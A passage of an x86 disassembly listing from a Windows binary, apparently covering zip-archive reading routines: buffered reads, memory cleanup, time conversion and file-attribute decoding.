		or	eax, 0FFFFFFFFh
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FC07:				; CODE XREF: sub_42FB02+FBj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+60h]
		push	edx
		push	1
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42FC2F
		or	eax, 0FFFFFFFFh
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FC2F:				; CODE XREF: sub_42FB02+123j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+3Ch]
		add	ecx, [ebp+var_14]
		mov	edx, [ebp+var_8]
		mov	[edx+3Ch], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		sub	ecx, [ebp+var_14]
		mov	edx, [ebp+var_8]
		mov	[edx+58h], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	[eax+4], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_14]
		mov	[eax+8], ecx


loc_42FC61:				; CODE XREF: sub_42FB02+A0j
					; sub_42FB02+ADj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+64h], 0
		jnz	loc_42FD4C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax+14h]
		cmp	edx, [ecx+8]
		jnb	short loc_42FC87
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		mov	[ebp+var_18], ecx
		jmp	short loc_42FC90
; ---------------------------------------------------------------------------


loc_42FC87:				; CODE XREF: sub_42FB02+178j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax


loc_42FC90:				; CODE XREF: sub_42FB02+183j
		mov	[ebp+var_1C], 0
		jmp	short loc_42FCA2
; ---------------------------------------------------------------------------


loc_42FC99:				; CODE XREF: sub_42FB02+1C0j
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_42FCA2:				; CODE XREF: sub_42FB02+195j
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+var_18]
		jnb	short loc_42FCC4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	edx, [ebp+var_1C]
		mov	esi, [ebp+var_1C]
		mov	cl, [ecx+esi]
		mov	[eax+edx], cl
		jmp	short loc_42FC99
; ---------------------------------------------------------------------------


loc_42FCC4:				; CODE XREF: sub_42FB02+1A6j
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_42D7C5
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	[ecx+50h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+5Ch]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+5Ch], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+14h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+18h], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_18]
		mov	[ebp+var_10], edx
		jmp	loc_42FDE1
; ---------------------------------------------------------------------------


loc_42FD4C:				; CODE XREF: sub_42FB02+166j
		mov	[ebp+var_30], 2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		push	edx
		call	sub_42DEC5
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		sub	edx, [ebp+var_28]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_42D7C5
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	[ecx+50h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+5Ch]
		sub	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		mov	[ecx+5Ch], eax
		mov	edx, [ebp+var_20]
		sub	edx, [ebp+var_28]
		mov	eax, [ebp+var_10]
		add	eax, edx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 1
		jnz	short loc_42FDD9
		mov	eax, [ebp+var_10]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_10]
		jmp	short loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FDD9:				; CODE XREF: sub_42FB02+2C9j
		cmp	[ebp+var_4], 0
		jz	short loc_42FDE1
		jmp	short loc_42FDE6
; ---------------------------------------------------------------------------


loc_42FDE1:				; CODE XREF: sub_42FB02+245j
					; sub_42FB02+2DBj
		jmp	loc_42FB8E
; ---------------------------------------------------------------------------


loc_42FDE6:				; CODE XREF: sub_42FB02+93j
					; sub_42FB02+2DDj
		cmp	[ebp+var_4], 0
		jnz	short loc_42FDF1
		mov	eax, [ebp+var_10]
		jmp	short loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FDF1:				; CODE XREF: sub_42FB02+2E8j
		mov	eax, [ebp+var_4]


loc_42FDF4:				; CODE XREF: sub_42FB02+26j
					; sub_42FB02+3Fj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42FB02	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FE0C
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FE2E
; ---------------------------------------------------------------------------


loc_42FE0C:				; CODE XREF: TEUm:0042FE03j
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42FE28
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FE2E
; ---------------------------------------------------------------------------


loc_42FE28:				; CODE XREF: TEUm:0042FE1Fj
		mov	eax, [ebp-4]
		mov	eax, [eax+18h]


loc_42FE2E:				; CODE XREF: TEUm:0042FE0Aj
					; TEUm:0042FE26j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FE45
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FE73
; ---------------------------------------------------------------------------


loc_42FE45:				; CODE XREF: TEUm:0042FE3Cj
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42FE61
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FE73
; ---------------------------------------------------------------------------


loc_42FE61:				; CODE XREF: TEUm:0042FE58j
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+5Ch], 0
		jnz	short loc_42FE71
		mov	eax, 1
		jmp	short loc_42FE73
; ---------------------------------------------------------------------------


loc_42FE71:				; CODE XREF: TEUm:0042FE68j
		xor	eax, eax


loc_42FE73:				; CODE XREF: TEUm:0042FE43j
					; TEUm:0042FE5Fj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FE8D
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FF33
; ---------------------------------------------------------------------------


loc_42FE8D:				; CODE XREF: TEUm:0042FE81j
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42FEAC
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FF33
; ---------------------------------------------------------------------------


loc_42FEAC:				; CODE XREF: TEUm:0042FEA0j
		mov	eax, [ebp-4]
		mov	ecx, [ebp-4]
		mov	edx, [eax+48h]
		sub	edx, [ecx+4Ch]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_42FEC6
		mov	eax, [ebp-0Ch]
		jmp	short loc_42FF33
; ---------------------------------------------------------------------------


loc_42FEC6:				; CODE XREF: TEUm:0042FEBFj
		mov	eax, [ebp+10h]
		cmp	eax, [ebp-0Ch]
		jbe	short loc_42FED6
		mov	ecx, [ebp-0Ch]
		mov	[ebp-10h], ecx
		jmp	short loc_42FEDC
; ---------------------------------------------------------------------------


loc_42FED6:				; CODE XREF: TEUm:0042FECCj
		mov	edx, [ebp+10h]
		mov	[ebp-10h], edx


loc_42FEDC:				; CODE XREF: TEUm:0042FED4j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_42FEE6
		xor	eax, eax
		jmp	short loc_42FF33
; ---------------------------------------------------------------------------


loc_42FEE6:				; CODE XREF: TEUm:0042FEE0j
		push	0
		mov	eax, [ebp-4]
		mov	ecx, [eax+44h]
		mov	edx, [ebp-4]
		add	ecx, [edx+4Ch]
		push	ecx
		mov	eax, [ebp-4]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42FF0D
		or	eax, 0FFFFFFFFh
		jmp	short loc_42FF33
; ---------------------------------------------------------------------------


loc_42FF0D:				; CODE XREF: TEUm:0042FF06j
		mov	edx, [ebp-4]
		mov	eax, [edx+60h]
		push	eax
		push	1
		mov	ecx, [ebp-0Ch]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42FF30
		or	eax, 0FFFFFFFFh
		jmp	short loc_42FF33
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: TEUm:0042FF29j
		mov	eax, [ebp-10h]


loc_42FF33:				; CODE XREF: TEUm:0042FE88j
					; TEUm:0042FEA7j ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF37	proc near		; CODE XREF: sub_42EF38+24p
					; sub_42F940+3Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_42FF54
		mov	eax, 0FFFFFF9Ah
		jmp	loc_430002
; ---------------------------------------------------------------------------


loc_42FF54:				; CODE XREF: sub_42FF37+11j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+7Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jnz	short loc_42FF73
		mov	eax, 0FFFFFF9Ah
		jmp	loc_430002
; ---------------------------------------------------------------------------


loc_42FF73:				; CODE XREF: sub_42FF37+30j
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+5Ch], 0
		jnz	short loc_42FF91
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx+50h]
		cmp	eax, [edx+54h]
		jz	short loc_42FF91
		mov	[ebp+var_4], 0FFFFFF97h


loc_42FF91:				; CODE XREF: sub_42FF37+43j
					; sub_42FF37+51j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 0
		jz	short loc_42FFB7
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	dword_4331D4	; free
		add	esp, 4
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0


loc_42FFB7:				; CODE XREF: sub_42FF37+60j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_42FFD8
		mov	edx, [ebp+var_8]
		add	edx, 4
		push	edx
		call	sub_42DCDC
		add	esp, 4


loc_42FFD8:				; CODE XREF: sub_42FF37+90j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+40h], 0
		cmp	[ebp+var_8], 0
		jz	short loc_42FFF5
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4331D4	; free
		add	esp, 4


loc_42FFF5:				; CODE XREF: sub_42FF37+AFj
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+7Ch], 0
		mov	eax, [ebp+var_4]


loc_430002:				; CODE XREF: sub_42FF37+18j
					; sub_42FF37+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_42FF37	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_43001C
		mov	eax, 0FFFFFF9Ah
		jmp	loc_4300AE
; ---------------------------------------------------------------------------


loc_43001C:				; CODE XREF: TEUm:00430010j
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp+10h]
		mov	[ebp-8], ecx
		mov	edx, [ebp-4]
		mov	eax, [ebp-8]
		cmp	eax, [edx+8]
		jbe	short loc_43003C
		mov	ecx, [ebp-4]
		mov	edx, [ecx+8]
		mov	[ebp-8], edx


loc_43003C:				; CODE XREF: TEUm:00430031j
		push	0
		mov	eax, [ebp-4]
		mov	ecx, [eax+1Ch]
		add	ecx, 16h
		push	ecx
		mov	edx, [ebp-4]
		mov	eax, [edx]
		push	eax
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_43005F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4300AE
; ---------------------------------------------------------------------------


loc_43005F:				; CODE XREF: TEUm:00430058j
		cmp	dword ptr [ebp-8], 0
		jbe	short loc_43008D
		mov	ecx, [ebp+0Ch]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp-4]
		mov	eax, [edx]
		push	eax
		push	1
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_43008D
		or	eax, 0FFFFFFFFh
		jmp	short loc_4300AE
; ---------------------------------------------------------------------------


loc_43008D:				; CODE XREF: TEUm:00430063j
					; TEUm:00430086j
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_4300AB
		mov	eax, [ebp-4]
		mov	ecx, [ebp+10h]
		cmp	ecx, [eax+8]
		jbe	short loc_4300AB
		mov	edx, [ebp-4]
		mov	eax, [edx+8]
		mov	ecx, [ebp+0Ch]
		mov	byte ptr [ecx+eax], 0


loc_4300AB:				; CODE XREF: TEUm:00430091j
					; TEUm:0043009Cj
		mov	eax, [ebp-8]


loc_4300AE:				; CODE XREF: TEUm:00430017j
					; TEUm:0043005Dj ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4300B2	proc near		; CODE XREF: sub_4301DC+55Bp
					; sub_4301DC+5B8p ...

var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_433210	; gmtime
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+14h]
		add	edx, 76Ch
		mov	[ebp+var_1C], dx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	[ebp+var_1A], cx
		mov	edx, [ebp+var_C]
		mov	ax, [edx+0Ch]
		mov	[ebp+var_16], ax
		mov	ecx, [ebp+var_C]
		mov	dx, [ecx+8]
		mov	[ebp+var_14], dx
		mov	eax, [ebp+var_C]
		mov	cx, [eax+4]
		mov	[ebp+var_12], cx
		mov	edx, [ebp+var_C]
		mov	ax, [edx]
		mov	[ebp+var_10], ax
		mov	[ebp+var_E], 0
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_1C]
		push	edx
		call	dword_433094	; SystemTimeToFileTime
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4300B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43012E	proc near		; CODE XREF: sub_43126B+6Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_430148
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jz	short loc_430152


loc_430148:				; CODE XREF: sub_43012E+Fj
		mov	eax, 1000000h
		jmp	loc_4301D6
; ---------------------------------------------------------------------------


loc_430152:				; CODE XREF: sub_43012E+18j
		mov	edx, [ebp+var_10]
		add	edx, 138h
		push	edx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		push	offset asc_4378E4 ; "\\"
		mov	eax, [ebp+var_10]
		add	eax, 138h
		push	eax
		call	sub_4318D0	; strcat
		add	esp, 8
		cmp	[ebp+arg_8], 1
		jnz	short loc_43019D
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4330A0	; GetFileType
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_43019D
		mov	eax, 2000000h
		jmp	short loc_4301D6
; ---------------------------------------------------------------------------


loc_43019D:				; CODE XREF: sub_43012E+53j
					; sub_43012E+66j
		lea	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E589
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4301C3
		mov	eax, [ebp+var_4]
		jmp	short loc_4301D6
; ---------------------------------------------------------------------------


loc_4301C3:				; CODE XREF: sub_43012E+8Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42ED22
		add	esp, 4
		mov	ecx, [ebp+var_10]
		mov	[ecx], eax
		xor	eax, eax


loc_4301D6:				; CODE XREF: sub_43012E+1Fj
					; sub_43012E+6Dj ...
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_43012E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4301DC	proc near		; CODE XREF: sub_430867+B9p
					; sub_430A42+1F5p ...

var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= byte ptr -1B4h
var_1B3		= byte ptr -1B3h
var_1B2		= byte ptr -1B2h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= word ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= word ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_24		= dword	ptr -24h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1E8h
		mov	[ebp+var_1E8], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jl	short loc_430201
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+4]
		jl	short loc_43020B


loc_430201:				; CODE XREF: sub_4301DC+13j
		mov	eax, 10000h
		jmp	loc_430861
; ---------------------------------------------------------------------------


loc_43020B:				; CODE XREF: sub_4301DC+23j
		mov	eax, [ebp+var_1E8]
		cmp	dword ptr [eax+4], 0FFFFFFFFh
		jz	short loc_430228
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		push	edx
		call	sub_42FF37
		add	esp, 4


loc_430228:				; CODE XREF: sub_4301DC+39j
		mov	eax, [ebp+var_1E8]
		mov	dword ptr [eax+4], 0FFFFFFFFh
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+134h]
		jnz	short loc_43026E
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_43026E
		push	12Ch
		mov	eax, [ebp+var_1E8]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_430861
; ---------------------------------------------------------------------------


loc_43026E:				; CODE XREF: sub_4301DC+68j
					; sub_4301DC+6Ej
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	loc_43030B
		mov	edx, [ebp+var_1E8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+108h], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+10Ch], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+110h], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+114h], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+118h], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+11Ch], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+120h], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+124h], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+128h], 0
		xor	eax, eax
		jmp	loc_430861
; ---------------------------------------------------------------------------


loc_43030B:				; CODE XREF: sub_4301DC+96j
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+10h]
		jge	short loc_43032C
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		push	edx
		call	sub_42F473
		add	esp, 4


loc_43032C:				; CODE XREF: sub_4301DC+13Dj
					; sub_4301DC+171j
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+arg_0]
		jge	short loc_43034F
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F4E1
		add	esp, 4
		jmp	short loc_43032C
; ---------------------------------------------------------------------------


loc_43034F:				; CODE XREF: sub_4301DC+15Ej
		push	0
		push	0
		push	0
		push	0
		push	104h
		lea	edx, [ebp+var_190]
		push	edx
		lea	eax, [ebp+var_58]
		push	eax
		mov	ecx, [ebp+var_1E8]
		mov	edx, [ecx]
		push	edx
		call	sub_42F444
		add	esp, 20h
		lea	eax, [ebp+var_64]
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		lea	edx, [ebp+var_8C]
		push	edx
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F6BB
		add	esp, 10h
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_4303AB
		mov	eax, 700h
		jmp	loc_430861
; ---------------------------------------------------------------------------


loc_4303AB:				; CODE XREF: sub_4301DC+1C3j
		push	0
		mov	edx, [ebp+var_78]
		push	edx
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ecx]
		push	edx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4303D2
		mov	eax, 800h
		jmp	loc_430861
; ---------------------------------------------------------------------------


loc_4303D2:				; CODE XREF: sub_4301DC+1EAj
		mov	eax, [ebp+var_64]
		push	eax
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_1C4], eax
		mov	ecx, [ebp+var_1C4]
		mov	[ebp+var_70], ecx
		mov	edx, [ebp+var_1E8]
		mov	eax, [edx]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_64]
		push	edx
		push	1
		mov	eax, [ebp+var_70]
		push	eax
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, [ebp+var_64]
		jz	short loc_430431
		mov	ecx, [ebp+var_70]
		mov	[ebp+var_1C8], ecx
		mov	edx, [ebp+var_1C8]
		push	edx
		call	sub_43177E
		add	esp, 4
		mov	eax, 800h
		jmp	loc_430861
; ---------------------------------------------------------------------------


loc_430431:				; CODE XREF: sub_4301DC+231j
		mov	eax, [ebp+var_1E8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+10h]
		mov	[edx], eax
		lea	ecx, [ebp+var_190]
		push	ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		push	edx
		call	sub_4318B8	; strcpy
		add	esp, 8
		mov	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 40000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_88], cl
		mov	edx, [ebp+var_8]
		and	edx, 800000h
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_19C],	dl
		mov	eax, [ebp+var_8]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_198],	al
		mov	ecx, [ebp+var_8]
		and	ecx, 2
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_6C], cl
		mov	edx, [ebp+var_8]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_84], dl
		mov	eax, [ebp+var_8]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_194],	al
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_4], cl
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+108h], 80h
		mov	eax, [ebp+var_88]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_430507
		mov	ecx, [ebp+var_194]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_43051B


loc_430507:				; CODE XREF: sub_4301DC+319j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+108h]
		or	al, 10h
		mov	ecx, [ebp+arg_4]
		mov	[ecx+108h], eax


loc_43051B:				; CODE XREF: sub_4301DC+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_43053D
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+108h]
		or	ecx, 20h
		mov	edx, [ebp+arg_4]
		mov	[edx+108h], ecx


loc_43053D:				; CODE XREF: sub_4301DC+34Aj
		mov	eax, [ebp+var_6C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_43055E
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+108h]
		or	edx, 2
		mov	eax, [ebp+arg_4]
		mov	[eax+108h], edx


loc_43055E:				; CODE XREF: sub_4301DC+36Bj
		mov	ecx, [ebp+var_19C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_43057E
		mov	edx, [ebp+var_198]
		and	edx, 0FFh
		test	edx, edx
